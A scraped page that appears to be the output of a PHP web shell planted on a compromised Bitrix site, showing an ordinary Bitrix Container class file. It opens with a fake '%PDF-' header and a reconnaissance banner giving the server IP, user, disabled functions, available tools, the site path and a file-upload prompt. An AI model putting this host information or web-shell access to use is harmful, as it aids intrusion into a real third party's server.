%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.94.220 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/lib/visualconstructor/fields/ |
Upload File : |
<?php namespace Bitrix\Report\VisualConstructor\Fields; use Bitrix\Report\VisualConstructor\Fields\Valuable\BaseValuable; /** * Class Container * @package Bitrix\Report\VisualConstructor\Fields */ class Container extends Base { /** * @var Base[] $elements */ private $elements = array(); /** * @return void */ public function printContent() { foreach ($this->elements as $element) { $element->render(); } } /** * Setter for name. * * @param string $name Name value. * @return void */ public function setName($name) { foreach ($this->elements as $element) { if ($element instanceof BaseValuable) { $element->setName($name); } } } /** * Add element before target element. * * @param Base $newField Element to insert to container. * @param Base $targetField Element before which will insert. * @return void */ public function addElementBefore(Base $newField, Base $targetField) { $indexToInsert = null; $newFieldsList = array(); foreach ($this->elements as $key => $field) { if ($field === $targetField) { if ($newField->getKey()) { $newFieldsList[$newField->getKey()] = $newField; } else { $newFieldsList[] = $newField; } } $newFieldsList[$key] = $field; } $this->elements = $newFieldsList; } /** * Add element ager target element. * * @param Base $newField Element to insert to container. * @param Base $targetField Element after which will insert. * @return void */ public function addElementAfter(Base $newField, Base $targetField) { $indexToInsert = null; $newFieldsList = array(); foreach ($this->elements as $key => $field) { $newFieldsList[$key] = $field; if ($field === $targetField) { if ($newField->getKey()) { $newFieldsList[$newField->getKey()] = $newField; } else { $newFieldsList[] = $newField; } } } $this->elements = $newFieldsList; } /** * @param Base $element Element insert to container. * @return void */ public function addElement(Base $element) { if ($element->getKey()) { $this->elements[$element->getKey()] = $element; } else { $this->elements[] = $element; } } /** * @return Base[] */ public function getElements() { return $this->elements; } /** * Find element in container elemen list. * * @param string $key Unique key for find element in container. * @return Base|null */ public function getElement($key) { if (!isset($this->elements[$key])) { return null; } return $this->elements[$key]; } /** * Set multiple elements to container. * * @param Base[] $elements Element list. * @return void */ public function setElements($elements) { $this->elements = $elements; } }